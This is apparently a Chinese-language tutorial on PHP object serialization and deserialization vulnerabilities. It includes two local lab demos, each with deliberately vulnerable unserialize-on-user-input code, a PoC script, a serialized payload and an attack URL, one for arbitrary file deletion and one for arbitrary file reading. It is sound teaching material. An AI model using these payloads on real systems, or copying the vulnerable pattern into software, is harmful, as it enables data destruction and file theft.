PHP反序列化学习过程
一、php反序列化原理
1.php序列化与php反序列化
1.1 序列化与反序列化
- 序列化是将
变量
转换为可保存或传输的字符串
的过程; - 反序列化就是在适当的时候把这个
字符串
再转化成原来的变量
使用。
1.2 php序列化与反序列化函数
- Serialize:可以将
变量
转换为字符串
并且再转换中可以保存
当前变量
的值 - Unserialize:可以将
serialize
生成的字符串
变换回变量
- php进行序列化的目的是
保存一个对象方便以后重用
2.类,变量,方法,对象
example code:
<?php
//创建一个person类
class Person
{
//变量
public $name='';
public $age=0;
//方法
public function Information()
{
echo 'Person: '.$this->name.' is '.$this->age.' years old. <br />';
}
}
//创建一个对象
$per=new Person();
$per->name='Xu';
$per->age='19';
$per->Information();
3.php序列化实例
serialize()
- 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
example code:
<?php
//创建一个person类
class Person
{
//变量
public $name='';
public $age=0;
//方法
public function Information()
{
echo 'Person: '.$this->name.' is '.$this->age.' years old. <br />';
}
}
//创建一个对象
$per=new Person();
$per->name='Xu';
$per->age='19';
//$per->Information();
$per =serialize($per);
echo ($per);
4.php反序列化实例
unserialize()
unserialize()
一个对象,这个对象的类必须已经定义过。
example code:
<?php
//创建一个person类
class Person
{
//变量
public $name='';
public $age=0;
//方法
public function Information()
{
echo 'Person: '.$this->name.' is '.$this->age.' years old. <br />';
}
}
//创建一个对象
$per=new Person();
$per->name='Xu';
$per->age='19';
//$per->Information();
$per =unserialize('O:6:"Person":2:{s:4:"name";s:2:"Xu";s:3:"age";s:2:"19";}');
$per->Information();
5.php魔法函数
php
类中包含了一些魔法函数,这些函数可以在脚本的任何地方不用声明就可以使用。与
PHP
(反)序列化有关的魔法函数:魔法函数名 触发条件 __construct() // 当一个对象创建时触发 __destruct() // 当对象备销毁时触发 __wakeup() // 使用unserialize时触发 __sleep() // 使用serialize时触发 __toString() // 把类当作字符串使用时触发 __get() // 用于从不可访问的属性读取数据 __set() // 用于将数据写入不可访问的属性 __isset() // 在不可访问的属性上调用isset()或empty()触发 __unset() // 在不可访问的属性上使用unset()时触发 __invoke() // 当脚本尝试将对象调用为函数时触发
6.php魔法函数实例
__destruct()
//对象被销毁时触发__construct()
//把一个对象创建时被调用__toString()
//把类当作字符串使用时触发
example code:
<?php
//创建一个person类
class Person
{
//变量
public $name='';
public $age=0;
//方法
public function Information()
{
echo 'Person: '.$this->name.' is '.$this->age.' years old. <br />';
}
public function __toString()
{
return 'I am __toString <br />';
}
public function __construct()
{
return 'I am __construct <br />';
}
public function __destruct()
{
return 'I am __destruct <br />';
}
}
//创建一个对象
$per1=new Person();
$per1->name='Xu';
$per1->age=19;
echo $per1;
7.php反序列化漏洞
php
反序列化漏洞又称对象注入,可能会导致注入、远程代码执行等安全问题的发生php
反序列化漏洞如何产生:
如果一个php
代码中使用了unserialize
函数去调用某一类,该类中会自动执行一些自定义的magic method
,这些magic method
中如果包含了一些危险的操作,或者这些magic method
会去调用类中其他带有危险操作的函数,如果这些函数操作是我们可控的,那么就可以进行一些不可描述的操作了。
二、php反序列化漏洞demo1
example code:
<?php
// test5
class delete
{
public $filename = 'error';
function __destruct()
{
echo $this->filename.' was deleted <br />';
unlink(dirname(__FILE__).'/'.$this->filename);
}
}
在test5.php
中可以看到,delete
类中定义了一个__destruct
函数,该函数中会执行删除文件的操作。如果我们想利用该类来执行任意文件删除操作,则需要寻找一个可控的unserialize()
函数。
example code:
<?php
// test6
include 'test5.php';
$per = unserialize($_GET['per_serialized']);
在test6.php
中可以看到包含了test5.php
,并且在最后一行可以看到$per = unserialize($_GET['per_serialized']);
per_serialized
是我们可控的。
如果我们已经知道在该目录下有一个1.txt
文件如果我们想要删除这个文件,则可以这样构造poc
。
example code:
<?php
//删除文件
//创建delete类
class delete
{
public $filename = 'error';
}
//创建test对象,引入delete类,对delete类进行实例化
$test = new delete();
//赋值操作
$test -> filename = '1.txt';
echo serialize($test);
可以得到payload
为O:6:"delete":1:{s:8:"filename";s:5:"1.txt";}
- 访问
http://localhost:63342/1/test6.php?per_serialized=O:6:%22delete%22:1:{s:8:%22filename%22;s:5:%221.txt%22;}
- 访问
http://localhost:63342/1/1.txt
1.txt
已经被删除
三、php反序列化漏洞demo2
example code:
<?php
//test8
//读取文件
class read
{
public $filename = 'error';
function __toString()
{
// file_get_contens()函数把整个文件一次性读入一个字符串中
return file_get_contents($this->filename);
}
}
在test8
中可以看到,类中定义了一个__toString()
函数,该函数可以返回一个文件内容,如果我们想利用该类函数来读取任意文件,不仅需要寻找一个可利用的unserialize()
函数,还要有一个触发__toString()
函数的条件。
example code:
<?php
//test9
include "test8.php";
$per = unserialize($_GET['per_serialized']);
echo $per;
在test9.php
中,包含了test8.php
。其中有unserialize()
操作,per_serialized
可控。最后一行输出操作,会触发__toString()
函数。
- 构造
poc
example code:
<?php
//读取文件
class read
{
public $filename = 'error';
}
$test = new read();
$test -> filename = '1.txt';
echo serialize($test);
可得到payload
:O:4:"read":1:{s:8:"filename";s:5:"1.txt";}
- 访问
http://localhost:63342/1/test9.php?per_serialized=O:4:%22read%22:1:{s:8:%22filename%22;s:5:%221.txt%22;}
四、总结
在发现一个php
反序列化漏洞之前,先要找一个可控的php
反序列化函数,通过这个反序列化函数,去调用一些类,这些类中可能会包含一些魔法函数,而这些魔法函数中,可能会有一些可控的危险操作,从而触发php
反序列化漏洞。